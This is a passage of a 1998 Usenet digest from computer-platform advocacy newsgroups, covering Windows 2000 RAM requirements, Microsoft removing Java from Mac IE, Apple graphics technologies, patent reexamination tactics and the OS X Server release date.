Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sun, 22 Nov 1998 13:27:31 GMT
Message-ID: <366a2c55.39411575@news.demon.co.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca>
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On Thu, 19 Nov 1998 17:03:19 -0800, "Allan Meidlein"
<allan.meidlein@bcstechnology.com> wrote:
>Maybe you should realise that these requirements aren't that crazy; consider
>for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
>Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
>minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
>agonising If you're suggesting that these requirements are the result of
>"bloated code," then how does one explain the requirements for Unix
>servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
^^^^^^^
Are we seeing the magic word? The 32Mb is for the *personal* version.
To boot. You will have to add memory for your applications on top of
that.
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sun, 22 Nov 1998 13:55:06 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <365817BA.B234F095@digiscape.com>
References: <7329lg$ot0$1@nnrp02.primenet.com>
Mime-Version: 1.0
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Stephen Edwards wrote:
>
> -- A minimum of 32MB of RAM (64MB minimum for Windows 2000 Server).
>
The only good thing to come out of Win2K is RAM prices. When it hits the
shelf, a great whooshing noise will be heard as every computer user gets
more RAM. Hell, 128 MB DIMM prices might drop to like $60. At that time,
I'll get a new MB and 4 of those babies. I have 128 now, and Linux runs
fine, but hey, memory is like hard drive space. You can NEVER have
enough.
--
/--------------------------------------------------------------\
| chaotic42@digiscape.com |
| -------------------------------------------------------------|
| http://130.74.57.55 | ftp://130.74.57.55 |
| HTML Color Table | Roms |
| Monty Python | Mp3's |
| The largest prime | Images |
| And of course, the Phantom Menace trailer |
| Please visit my site often! It will be updated! |
|--------------------------------------------------------------|
| Don't fear the penguins! |
\ -------------------------------------------------------------/
From: sticsad@igs.net (DJL)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sun, 22 Nov 1998 09:05:51 -0500
Organization: IGS - Information Gateway Services
Message-ID: <sticsad-2211980905510001@ttyg18.ott.igs.net>
References: <737edr$2h2$1@your.mother.com>
NNTP-Posting-Date: 22 Nov 1998 14:05:39 GMT
This is a good thing!! One less infestation of Microsoft code on our Macs
to worry about.
In article <737edr$2h2$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
dot com)" <todd@dev.null> wrote:
> As most people know, a judge recently ordered Microsoft to change its Java
> imlementation in IE to meet Sun's compatibility tests [1]. We also know
> Apple has made IE its default browser.
>
> Now Microsoft is announcing that it is removing Java from IE for the
> Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> Mac users from running Java applications or Java applets?
>
> Todd
>
>
>
> [1] http://www.news.com/News/Item/0,4,28937,00.html?st.ne.ni.rel
> [2] http://www.news.com/News/Item/0,4,29108,00.html?st.ne.ni.lh
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: ISSCC 1999
Date: 22 Nov 1998 16:24:51 GMT
Organization: AT&T WorldNet Services
Message-ID: <739dsj$sue@bgtnsc01.worldnet.att.net>
References: <71vjnd$ut@newsb.netnews.att.com> <72tua0$2l7@bgtnsc01.worldnet.att.net> <rbarris-ya023280001811980035300001@206.82.216.1>
Rob Barris wrote in message ...
>In article <72tua0$2l7@bgtnsc01.worldnet.att.net>, "bobsun"
><bobsun@worldnet.att.net> wrote:
>
>> gupta@knim.tm.tta.moc-mirror after @ wrote in message
>> <71vjnd$ut@newsb.netnews.att.com>...
>> >According to EETimes, at the IEEE International Solid-State
>> >Circuits Conference, SF, February 1999 :
>> >
>> >"IBM will describe PowerPC 603 and 750 processor retargeted
>> >directly from bulk CMOS to an implanted-oxygen-layer SOI
>> >process. The company will report performance gains of up to
>> >30 percent from the process change alone, without any
>> >re-optimization of circuits."
>> >
>> >***
>> >Sounds interesting. Does it mean that the 400 MHz 750 design
>> >will be able to run at 520 MHz on SOI without redoing anything ?
>> >
>> >-arun gupta
>>
>> It's a similar claim to Apple's claim to be "up to" X times faster than.
It
>> means that there is one piece of data somewhere that demonstrates that
some
>> particular circuit (perhaps a ring oscillator?) ran 30% faster when
>> fabricated one their SOI process.
>
> "Will report performance gains" sounds like a little more than a ring
>oscillator to me. Either that CPU can hit 520MHz or it can't. See you
>then.
That's pretty definitive - either it hits 520 MHz or something less. As with
the Apple ad, there isn't much opportunity for being wrong, is there?
bobsun
>Rob
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sun, 22 Nov 1998 16:19:45 GMT
Organization: ICGNetcom
Message-ID: <365a34be.2947622@nntp.ix.netcom.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <365817BA.B234F095@digiscape.com>
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Chris Welch <chaotic42@digiscape.com> wrote:
>The only good thing to come out of Win2K is RAM prices. When it hits the
>shelf, a great whooshing noise will be heard as every computer user gets
>more RAM.
The figures given for the memory requirements of Win2000 in this thread
don't sound to me like it's going to *actually* need any more than Win98
does. In fact, the recommendations and requirements for Win98 are
higher than Win95, but you can actually run more apps in Win98 than
Win95 without swapping. The OS is getting bigger, but memory management
is getting better (and apps are starting to be intelligent about working
in a VM system), so an overall benefit exists.
Recently, someone announced that Win2000 will require 32 megs just to
boot. Wow. My Win98 system uses about 38 megs to boot. That, of
course, does not mean that I can only allocate (64 - 38 =) 26 megs of
memory before swapping, so the size is really moot.
Until you have the thing in your hands, you really can't tell anything
from "recommendations" and "requirements". They are often made with
cost factors in mind; Win95's memory recommendation was as small as it
was only because RAM was expensive at the time, not to mention the
psychological impact of a sudden increase. I would not recommend to
anyone to run Win98 or Win95 in less than 32 megs of ram, and even 32 is
on the low side. An announcement that Win2000 will *require* 32 megs
has no meaning to me. Anyone with a computer that can't handle 32 megs
of ram _needs_ a kick in the butt to replace it. They will thank
themselves later, even if they're running lean DOS most of the time.
And of course, the Winxx setup programs always have command line
switches to allow installation on less than the requirements.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F2tzrq.4G6@bilver.magicnet.netREMOVETHIS>
References: <7329lg$ot0$1@nnrp02.primenet.com> <36600cd9.1180939@news.demon.co.uk>
Date: Sun, 22 Nov 1998 16:14:14 GMT
In article <36600cd9.1180939@news.demon.co.uk>,
Anthony Ord <nws@rollingthunder.demon.co.uk> wrote:
>On 19 Nov 1998 23:29:52 GMT, Stephen Edwards <ja207030@primenet.com>
>wrote:
>
>>[cross-posted, because I simply cannot believe what I am seeing, and I
>> want to make sure I'm not just insane, or something]
>It is. Remember an operating system does *nothing*. I think even 12Mb
>is a bit much just to get an OS up and running. You do have to add on
>memory in order to run applications
Has anyone looked at the OS & brower on DR-DOS at Caldera?
Need's a 386, like 4MB ram. Supports is in it for a NIC card.
There is also their browser.
The entire system boots and runs from a 1.44MB floppy. No HD
needed.
--
Bill Vermillion bv @ wjv.com
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Why it is inevitable that Apple will become a Linux company
Date: 23 Nov 1998 02:20:23 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <73agp7$bfh$1@news01.btx.dtag.de>
References: <72qhlo$gs2$1@nnrp1.dejanews.com> <johnc-1611982004130001@pppsl1041.chicagonet.net> <72qr43$3kj$1@fir.prod.itd.earthlink.net> <bholderness-1811981530000001@207-172-95-180.s53.as1.dwt.erols.com> <14C44EC81D75CB41.20941B0A27B3D88F.E3FF30CB25C20D39@library-proxy.airnews.net> <36543fbc.5998414@news.chicagonet.net> <adtF2pD5w.BJw@netcom.com> <734qin$f2o$1@plo.sierra.com> <adtF2rCJr.MFB@netcom.com> <36570ce8.0@news1.ibm.net>
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Reposted in comp.sys.next.advocacy
Yves R. Crevecoeur <creveco@ibm.net> wrote:
> adt@netcom.com (Anthony D. Tribelli) :
>
> > Earl Malmrose (earl.malmrose@nospam.sierra.com) wrote:
> > : Anthony D. Tribelli wrote in message ...
> >
> > : >What Linux advocates need to do is to explain why BSD Unix should be
> > : >replaced with Linux.
> > :
> > : Will every user be given the source code to the BSD in OS X and be able to
> > : freely modify it and distribute those changes?
> >
> > No, and how many users will care? An how many developers will get cold
> > feet from possible QA nightmares? I think the BSD route will better serve
> > Apple in the shrink wrapped software world. The handful who want to tweak
> > their OS will probably be happier with pure Linux/X and none of that MacOS
> > GUI stuff.
> >
>
>
> Apple should just port OpenStep to Linux and just sell that!
>
> With all the brains out there working on Linux, Apple would be guaranteed
> that they would not get left behind in the dust again like they did with the
> MacOS!
>
>
> When you think about it, Apple got into trouble with the MacOS because the it
> was very difficult to make the ToolBox re-entrant so what do they do, they
> buy NeXT which is re-entrant but does not support SMP and is very difficult
> to make it support SMP, so what will they do now?
>
> I say get off their butts and start writing a brand new OS or get an
> exclusive license for the BeOS on PPC!
>
> This continuous patching and glueing of old software and newer software that
> were never meant to work together has got to stop! Bloat Ware Sucks!
>
> ciao,
> YC
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 22 Nov 98 19:56:54 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27E1D09-31CD5@206.165.43.220>
References: <739lh9$g1r@news1.panix.com>
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Sal Denaro <sal@panix.com> said:
>
>Apple has stated that eQD would use colorsync. Why would this make it
>"less
>than WYSIWYG"? And since QX was also colorsync, why was it more
>powerful?
>
What do you think the color model of GX or eQD is?
PS's color model is that of opaque inks on top of white paper. Ditto with
eQD, except that it also allows transparency.
GX goes WAAAY beyond that. So far beyond it that unless you are really good
at visualization (when I was 18, I was building models of 4D Necker
"cubes", so that should give you idea of where I am coming from), that I
won't bother to try (the GX and QT Vectors manual take two entire chapters
to describe GX's color model). Instead, I'll only refer you to GXFCN, when
it ships. There will be a card or three devoting to demoing the GX/QT color
model using realtime interactive controls.
Any HyperCard programmer will be able to grab them and use them. THis isn't
a big deal -HC 3.0 would have/will do the same thing, but only for GX
Graphics, er, QT vectors -no text or bitmaps allowed.
><<big clip>>
>
>>Apple should:
>>
>>Extend GX typography to handle the ATSUI API (text blocks, etc)
>>Extend GX shapes to handle QuickTime vector color ramp shapes
>>Extend the shape types to approximate cubic Bezier graphics
>>Extend the shape-flattening to handle the above
>>Extend the eQD/YB graphics model to handle GX/QuickTime colors
>>Extend the eQD/YB graphics model to handle GX/QuickTime perspective
>>Special-case eQD/YB graphics to handle GX/QuickTime graphics shapes
>>Create a library that loads and saves the above extended GX file format
>>Create a GX-like API for eQD that allows developers to use the same
>source
>>code for 68K/PPC/eQD applications.
>---------^^^^^
>
>By the time Apple gets this done, the _newest_ 68k machines will be 5+
>years
>old (or older) Why should Apple add support for 5+ years old hardware when
>the same effort could go into adding improvements to _new_ machines and
>new
>platforms?
But this would also improve the new machines while increasing the installed
base of customers for Carbon developers to target. And ALL of the above
wouldnt' take more than 6-12 months, if that. Most of it ALREADY exists in
some form at Apple.
>
>>Make a default GX-like library for YB that is extensible but is able to
>>load/save eQD graphics files as well as PDF files.
>>
>>Some of the above are really trivial and some would take a lot of work,
>>comparatively speaking, but should be doable. The payoffs for Apple and
its
>>developers and end-users would be enormous.
>
>I doubt it. How many end users even know what GX is?
How many end-users even know what Macintosh really is? 96% of all computer
buyers don't buy Apple products. All that anyone needs to know is that GX
makes it possible to do things that can't be done easily and/or cheaply on
WIntel machines.
>
>I'm not saying that GX is bad, or that adding GX support would ruin the
>"purity"
>of the OS; what I am saying is that Apple has a finite amount of
resources,
>and
>in the finite number they have to choose those projects that provide the
>greatest benefit. Why should Apple port GX, when there are other
>technologies
>that are used more often and by greater numbers of users that also have to
>be
>ported?
GXFCN will give some answer to this.
>
>>Yeah, whatever. Either I'll get GXFCN out the door and people will "see
the
>>light," or they'll laugh at my work and move on.
>
>Anyone want to bet that OSX Server ships before GXFCN? :)
What version? I could ship GXFCN tonite if I wanted to. It is already
really spiffy, but some of the most important features aren't quite there
because I'm not the best programmer in the world and I'm having to learn
all the required pieces (e.g. text-parsing and other simple
compiler-related stuff) as I go.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <36588D27.C47645FA@uco-iplaw.com>
From: John Kheit <jkheit@uco-iplaw.com>
Organization: UCO & Associates, LLP
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
<m2yapc5118.fsf@barnowl.demon.co.uk> <bh$rJLA2+BU2EAgc@wolff.co.uk>
<3651AAC1.B9AF1766@cadence.com> <ypmhbBAQVpU2EAFd@wolff.co.uk>
<3654F20A.DE49DEB8@uco-iplaw.com> <UWCYUEAEyWV2EAbp@wolff.co.uk>
Content-Type: multipart/mixed;
boundary="------------688EC0A5C3EDFF70101E5B20"
Date: Sun, 22 Nov 1998 17:16:07 -0500
NNTP-Posting-Date: Sun, 22 Nov 1998 17:12:26 EDT
This is a multi-part message in MIME format.
--------------688EC0A5C3EDFF70101E5B20
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Paul Wolff wrote:
> In article <3654F20A.DE49DEB8@uco-iplaw.com>, John Kheit <jkheit@uco-
> iplaw.com> writes
> >Paul Wolff wrote:
>
> But you are then kept out of the ensuing patentability discussion. So
> if the examiner, without the benefit of your further input, is over-
> generous (or makes an error) and allows the patent, the presumption of
> validity coupled with the fact that the piece of art has been considered
> in the Patent Office before allowance must leave you in a worse
> position. You have used up your ammunition without having made the best
> use of it.
>
It is ex parte, but there are ways of making it less ex parte. :) And true, it is
a lock and load and shoot procedure. So if it is better for them to hold their
patent and grant you a license, you may have forgone that opportunity.
Regardless, there are certainly ways to make a reexam absolutely devistating to the
other party. Being judicious in what new art you send to a) the PTO, and b) the
patentee, and then couple in the duty to fully disclose, and you can have yourself
quite the nasty setup. :) Few Patent holders welcome a reexam. And it seems few
practitioners employ reexams tactically to their benefit.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
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tel;fax:603 226-8822
tel;home:908 753-7805
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org:UCO & Associates, LLP
adr:;;4 Bicentennial Square, Suite 2A;Concord;NH;03301-4058;United States of America
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title:Attorney
fn:John Kheit
end:vcard
--------------688EC0A5C3EDFF70101E5B20--
From: forrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Message-ID: <forrest-2111981444590001@term1-15.vta.west.net>
References: <737edr$2h2$1@your.mother.com>
Organization: Obsidian
Date: Sat, 21 Nov 1998 14:44:43 -0800
NNTP-Posting-Date: Sat, 21 Nov 1998 14:44:16 PDT
In article <737edr$2h2$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
dot com)" <todd@dev.null> wrote:
>Now Microsoft is announcing that it is removing Java from IE for the
>Macintosh [2]. Does anyone have an idea how, if at all, this will affect
>Mac users from running Java applications or Java applets?
I don't use IE myself, but I seem to recall hearing that you can select
which Java VM or JIT you want it to use. So even if MS removes it's Java
implementation from IE, you should still be able to point it to MRJ,
MetroWerks' JIT, or any other Java engine you might happen to have.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sun, 22 Nov 1998 13:18:57 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-2211981319250001@192.168.0.1>
References: <737edr$2h2$1@your.mother.com> <sticsad-2211980905510001@ttyg18.ott.igs.net> <36583990.0@news.together.net>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <36583990.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>DJL wrote in message ...
>>This is a good thing!! One less infestation of Microsoft code on our Macs
>>to worry about.
>..
>It's even better than that! Think of all the sleep you'll catch-up on
>waiting for the Apple JM.
>..
>..
Actually, MRJ 2.1 is very fast.
Somethin' about the Symantec JITC that it incorporates.
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: stone@enetis.net (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sun, 22 Nov 1998 12:53:41 -0700
Organization: Stone Entertainment
Message-ID: <stone-2211981253410001@rc-pm3-1-10.enetis.net>
References: <737edr$2h2$1@your.mother.com> <sticsad-2211980905510001@ttyg18.ott.igs.net> <36583990.0@news.together.net>
In article <36583990.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>DJL wrote in message ...
>>This is a good thing!! One less infestation of Microsoft code on our Macs
>>to worry about.
>..
>It's even better than that! Think of all the sleep you'll catch-up on
>waiting for the Apple JM.
I take it that was meant to describe how slow Apple's JVM is? Yes, it is
slower than other JVM's. Microsoft arguably had the fastest implimenation
availble for the MacOS, but it was also an unlawful implimentation.
Apple's next JVM is said to be as fast, if not faster than Microsoft's
version. That will be available either later this year or with Apple's
next update to the MacOS early next year. And unlike other JVM's it will
be availabe as a standalone product in Apple's "MacOS Runtime for Java
(MRJ)" so Mac users can run Java applets right on the desktop as
seamlessly as if they were normal applications.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
Date: Sun, 22 Nov 1998 12:02:39 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Message-ID: <stevehix-2211981202400001@192.168.1.10>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <3657D44B.5648@earthlink.net>
Organization: Close to None
In article <3657D44B.5648@earthlink.net>, skellener@earthlink.net wrote:
> I'm starting to question it's release at all at this point. Even with
> all the Apple hoopla these days, I think OS X Server may never see the
> light of day.
Go look at http://developer.apple.com/macosx/server...
It was last updated 17 Nov.
> It's gonna be all about OS X sometime in '99. My guess
> is late '99. It's a shame. I've been ready to put it on my machine
> since the day Apple bought NeXT back in '96.
Well, there's your problem: no patience. :}
> Openstep 4.2 for PPC would have been great! Two years later, still
> nothing. Thanks alot Steve!
DR2 isn't strictly *nothing*, is it?
You could have gone the developer's route.
I'm betting on MacWorld Expo in a couple of weeks.
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sun, 22 Nov 1998 15:13:06 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811221513061663735@pm2-1-30.aug.com>
References: <737edr$2h2$1@your.mother.com> <sticsad-2211980905510001@ttyg18.ott.igs.net> <36583990.0@news.together.net> <stone-2211981253410001@rc-pm3-1-10.enetis.net>
Kevin Stone <stone@enetis.net> wrote:
> Apple's next JVM is said to be as fast, if not faster than Microsoft's
> version. That will be available either later this year or with Apple's
> next update to the MacOS early next year. And unlike other JVM's it will
> be availabe as a standalone product in Apple's "MacOS Runtime for Java
> (MRJ)" so Mac users can run Java applets right on the desktop as
> seamlessly as if they were normal applications.
There is an "Applet Runner" include with Apple's MRJ now. I use it
instead of Navigator's java engine and to add Java capabilities to
Cyberdog.
--
Remove nojunk from my email address to reply by email.
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com><ee352.3248$%X5.8067515@newsgate.direct.ca><732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net><01be1452$1e5eb6b0$a007280a@ntw_bmladmin><01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp>
Message-ID: <01be169e$d7eb04a0$72f1ccc3@default>
Date: 22 Nov 98 20:18:10 GMT
Jim Seymour <jseymour@jimsun.LinxNet.com> wrote:
> "Bjørnar Bolsøy" <bbolsoey@rl.telia.no> writes:
>
> > Actually, MS has managed to develop a few decent
> > products from time to time. WinCE is a good example
> > IMO, with a full win32 complient API with a host of
> > elegant features basically fitting inside a 200Kb footprint.
>
> Before I bought my Palm III a couple of months ago, I went to
> the Web and found every article I could on "palm" computers
> and organizers. Would you care to take a wild guess at which
> palm-tops consistently got the worst reviews of all? Yes,
> WinCE-based products. Every single time. The criticisms?
> Slow, buggy (read: crash-prone, IIRC), expensive, bloated,
> battery-killers. In short: palm-top versions of Microsoft's
> desktop products.
>
> Somehow, I was not surprised.
I see a bit of apples and oranges here.
While the P3 performes very well in its traditional
areas of use, simple apointment scheduling for
people on the move (like my Psion3c), WinCE is
really targeted at a more powerful segment, typically
demanding better Internet and network connectivity,
better integration with your Win95 box, a keyboard,
high resolution color screens, virtual writing, printing
etc.
There's a large number of excellent reviews of WinCE
on the net. A good starting point is perhaps:
http://www.wincecity.com/reviews-software.html
Regards...
From: spam@spam.mil (Rick Tan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sun, 22 Nov 1998 12:18:21 -0800
Organization: ACI
Message-ID: <spam-2211981218210001@tanri.apple.com>
References: <737edr$2h2$1@your.mother.com>
In article <737edr$2h2$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
dot com)" <todd@dev.null> wrote:
> As most people know, a judge recently ordered Microsoft to change its Java
> imlementation in IE to meet Sun's compatibility tests [1]. We also know
> Apple has made IE its default browser.
>
> Now Microsoft is announcing that it is removing Java from IE for the
> Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> Mac users from running Java applications or Java applets?
>
> Todd
>
>
>
> [1] http://www.news.com/News/Item/0,4,28937,00.html?st.ne.ni.rel
> [2] http://www.news.com/News/Item/0,4,29108,00.html?st.ne.ni.lh
M$ is not just nuking Java from IE for the Mac, its nuking Java from
everything, even Windows.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 22 Nov 1998 18:35:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <739lha$g1r@news1.panix.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net>
On 20 Nov 1998 19:22:22 GMT, void <float@interport.net> wrote:
>I post from a vintage-'93 machine, with 48 megs of RAM and a 33 MHz
>processor.
Ben, long time no see. Hows the new job working out?
I'm amazed at how much time the guys at LXNY spent talking about NeXT,
the iMac, *BSD* OS's, BeOS, obscure languages (like Intercal and dynamo)
and the Palm Pilot; and how little time is spent talking about Linux.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 22 Nov 1998 18:35:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <739lh9$g1r@news1.panix.com>
References: <F2qrn2.B9J@T-FCN.Net> <B27B7131-2C57B@206.165.43.8>
On 20 Nov 98 19:18:44 -0700, Lawson English
<english@primenet.com> wrote:
>Actually, it was designed to look like *QD* so that it would be easier for
>already-trained QuickDraw programmers to use. GX is FAR easier to use than
>raw PS for most onscreen purposes.
Huh? Every report I've seen points to eQD having a Carbon interface that
looks like QD and a YB interface that looks like Postscript. You would not
be using "raw Postscript"
>GX is just as easy to work with for PS as eQD is because GX is translated
>automatically into PS for printing, just as eQD will be. eQD is based on
>the PDF model, which is a subset of the PS model.
PDF is the full PS image model, it only lack the PS language. If 3rd party
PDF tools are any indication, it must be trivial to convert PDF to PS.
>In fact, eQD has some color features not
>found in PS that make it less than WYSIWYG, but they aren't as powerful as
>GX's.
Apple has stated that eQD would use colorsync. Why would this make it "less
than WYSIWYG"? And since QX was also colorsync, why was it more powerful?
<<big clip>>
>Apple should:
>
>Extend GX typography to handle the ATSUI API (text blocks, etc)
>Extend GX shapes to handle QuickTime vector color ramp shapes
>Extend the shape types to approximate cubic Bezier graphics
>Extend the shape-flattening to handle the above
>Extend the eQD/YB graphics model to handle GX/QuickTime colors
>Extend the eQD/YB graphics model to handle GX/QuickTime perspective
>Special-case eQD/YB graphics to handle GX/QuickTime graphics shapes
>Create a library that loads and saves the above extended GX file format
>Create a GX-like API for eQD that allows developers to use the same source
>code for 68K/PPC/eQD applications.
---------^^^^^
By the time Apple gets this done, the _newest_ 68k machines will be 5+ years
old (or older) Why should Apple add support for 5+ years old hardware when
the same effort could go into adding improvements to _new_ machines and new
platforms?
>Make a default GX-like library for YB that is extensible but is able to
>load/save eQD graphics files as well as PDF files.
>
>Some of the above are really trivial and some would take a lot of work,
>comparatively speaking, but should be doable. The payoffs for Apple and its
>developers and end-users would be enormous.
I doubt it. How many end users even know what GX is?
I'm not saying that GX is bad, or that adding GX support would ruin the "purity"
of the OS; what I am saying is that Apple has a finite amount of resources, and
in the finite number they have to choose those projects that provide the
greatest benefit. Why should Apple port GX, when there are other technologies
that are used more often and by greater numbers of users that also have to be
ported?
>Yeah, whatever. Either I'll get GXFCN out the door and people will "see the
>light," or they'll laugh at my work and move on.
Anyone want to bet that OSX Server ships before GXFCN? :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 22 Nov 1998 18:53:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <739mk5$g85@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733v0n$l7s$1@nnrp1.dejanews.com>
On Fri, 20 Nov 1998 14:40:27 GMT,
